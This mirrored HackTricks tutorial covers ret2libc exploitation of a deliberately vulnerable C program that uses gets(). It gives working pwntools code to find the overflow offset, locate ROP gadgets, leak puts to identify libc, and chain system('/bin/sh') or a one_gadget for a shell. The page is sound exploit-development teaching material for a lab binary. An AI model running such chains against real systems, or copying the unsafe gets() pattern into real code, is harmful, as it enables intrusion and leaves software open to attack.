mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-29 22:43:11 +00:00
338 lines
14 KiB
Markdown
338 lines
14 KiB
Markdown
|
|
|
|
<details>
|
|
|
|
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|
|
# Quick Resume
|
|
|
|
1. **Find** overflow **offset**
|
|
2. **Find** `POP_RDI`, `PUTS_PLT` and `MAIN_PLT` gadgets
|
|
3. Use previous gadgets lo **leak the memory address** of puts or another libc function and **find the libc version** ([donwload it](https://libc.blukat.me))
|
|
4. With the library, **calculate the ROP and exploit it**
|
|
|
|
# Other tutorials and binaries to practice
|
|
|
|
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\
|
|
Another useful tutorials: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csaw19\_babyboi/index.html)
|
|
|
|
# Code
|
|
|
|
Filename: `vuln.c`
|
|
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
char buffer[32];
|
|
puts("Simple ROP.\n");
|
|
gets(buffer);
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```bash
|
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
|
```
|
|
|
|
# ROP - Leaking LIBC template
|
|
|
|
I'm going to use the code located here to make the exploit.\
|
|
Download the exploit and place it in the same directory as the vulnerable binary and give the needed data to the script:
|
|
|
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
# 1- Finding the offset
|
|
|
|
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it (by default `OFFSET = ""`):
|
|
|
|
```bash
|
|
###################
|
|
### Find offset ###
|
|
###################
|
|
OFFSET = ""#"A"*72
|
|
if OFFSET == "":
|
|
gdb.attach(p.pid, "c") #Attach and continue
|
|
payload = cyclic(1000)
|
|
print(r.clean())
|
|
r.sendline(payload)
|
|
#x/wx $rsp -- Search for bytes that crashed the application
|
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
|
return
|
|
```
|
|
|
|
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
|
|
|
|
```python
|
|
from pwn import *
|
|
cyclic_find(0x6161616b)
|
|
```
|
|
|
|
.png>)
|
|
|
|
After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
|
|
`OFFSET = "A" * 40`
|
|
|
|
Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
|
|
|
|
# 2- Finding Gadgets
|
|
|
|
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
|
|
|
|
```python
|
|
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
|
MAIN_PLT = elf.symbols['main']
|
|
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
|
RET = (rop.find_gadget(['ret']))[0]
|
|
|
|
log.info("Main start: " + hex(MAIN_PLT))
|
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
|
```
|
|
|
|
The `PUTS_PLT` is needed to call the **function puts**.\
|
|
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
|
|
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
|
|
|
|
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
|
|
|
|
# 3- Finding LIBC library
|
|
|
|
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
|
|
|
|
```python
|
|
def get_addr(func_name):
|
|
FUNC_GOT = elf.got[func_name]
|
|
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
|
# Create rop chain
|
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
|
|
#Send our rop-chain payload
|
|
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
|
print(p.clean()) # clean socket buffer (read all and print)
|
|
p.sendline(rop1)
|
|
|
|
#Parse leaked address
|
|
recieved = p.recvline().strip()
|
|
leak = u64(recieved.ljust(8, "\x00"))
|
|
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
|
#If not libc yet, stop here
|
|
if libc != "":
|
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
|
log.info("libc base @ %s" % hex(libc.address))
|
|
|
|
return hex(leak)
|
|
|
|
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
|
if libc == "":
|
|
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
|
p.interactive()
|
|
```
|
|
|
|
To do so, the most important line of the executed code is:
|
|
|
|
```python
|
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
|
```
|
|
|
|
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
|
|
Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
|
|
After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
|
|
Finally, **main function is called again** so we can exploit the overflow again.
|
|
|
|
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
|
|
|
|
.png>)
|
|
|
|
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
|
But, in a remote exploit case I will explain here how can you find it:
|
|
|
|
## 3.1- Searching for libc version (1)
|
|
|
|
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
|
|
It will also allow you to download the discovered version of **libc**
|
|
|
|
.png>)
|
|
|
|
## 3.2- Searching for libc version (2)
|
|
|
|
You can also do:
|
|
|
|
* `$ git clone https://github.com/niklasb/libc-database.git`
|
|
* `$ cd libc-database`
|
|
* `$ ./get`
|
|
|
|
This will take some time, be patient.\
|
|
For this to work we need:
|
|
|
|
* Libc symbol name: `puts`
|
|
* Leaked libc adddress: `0x7ff629878690`
|
|
|
|
We can figure out which **libc** that is most likely used.
|
|
|
|
```
|
|
./find puts 0x7ff629878690
|
|
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
|
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
|
```
|
|
|
|
We get 2 matches (you should try the second one if the first one is not working). Download the first one:
|
|
|
|
```
|
|
./download libc6_2.23-0ubuntu10_amd64
|
|
Getting libc6_2.23-0ubuntu10_amd64
|
|
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
|
-> Downloading package
|
|
-> Extracting package
|
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
|
```
|
|
|
|
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
|
|
|
|
## 3.3- Other functions to leak
|
|
|
|
```python
|
|
puts
|
|
printf
|
|
__libc_start_main
|
|
read
|
|
gets
|
|
```
|
|
|
|
# 4- Finding based libc address & exploiting
|
|
|
|
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
|
|
|
|
So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
|
|
|
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
|
|
|
|
Inside the `get_addr`function the **base address of libc** is going to be calculated:
|
|
|
|
```python
|
|
if libc != "":
|
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
|
log.info("libc base @ %s" % hex(libc.address))
|
|
```
|
|
|
|
{% hint style="info" %}
|
|
Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
|
|
{% endhint %}
|
|
|
|
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
|
|
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
|
SYSTEM = libc.sym["system"]
|
|
EXIT = libc.sym["exit"]
|
|
|
|
log.info("bin/sh %s " % hex(BINSH))
|
|
log.info("system %s " % hex(SYSTEM))
|
|
```
|
|
|
|
Finally, the /bin/sh execution exploit is going to be prepared sent:
|
|
|
|
```python
|
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
|
|
|
p.clean()
|
|
p.sendline(rop2)
|
|
|
|
#### Interact with the shell #####
|
|
p.interactive() #Interact with the conenction
|
|
```
|
|
|
|
Let's explain this final ROP.\
|
|
The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
|
|
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
|
|
|
|
**This way the exploit will execute a **_**/bin/sh**_** shell.**
|
|
|
|
.png>)
|
|
|
|
# 4(2)- Using ONE\_GADGET
|
|
|
|
You could also use [**ONE\_GADGET** ](https://github.com/david942j/one\_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**. \
|
|
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
|
|
|
.png>)
|
|
|
|
```python
|
|
ONE_GADGET = libc.address + 0x4526a
|
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
|
```
|
|
|
|
# EXPLOIT FILE
|
|
|
|
You can find a template to exploit this vulnerability here:
|
|
|
|
{% content-ref url="rop-leaking-libc-template.md" %}
|
|
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
|
|
{% endcontent-ref %}
|
|
|
|
# Common problems
|
|
|
|
## MAIN\_PLT = elf.symbols\['main'] not found
|
|
|
|
If the "main" symbol does not exist. Then you can just where is the main code:
|
|
|
|
```python
|
|
objdump -d vuln_binary | grep "\.text"
|
|
Disassembly of section .text:
|
|
0000000000401080 <.text>:
|
|
```
|
|
|
|
and set the address manually:
|
|
|
|
```python
|
|
MAIN_PLT = 0x401080
|
|
```
|
|
|
|
## Puts not found
|
|
|
|
If the binary is not using Puts you should check if it is using
|
|
|
|
## `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
|
|
|
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
|
|
|
```python
|
|
BINSH = next(libc.search("/bin/sh")) - 64
|
|
```
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>HackTricks in </strong><a href="https://twitter.com/carlospolopm"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch</strong></a> <strong>Wed - 18.30(UTC) 🎙️</strong> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
|
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
|
|
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
|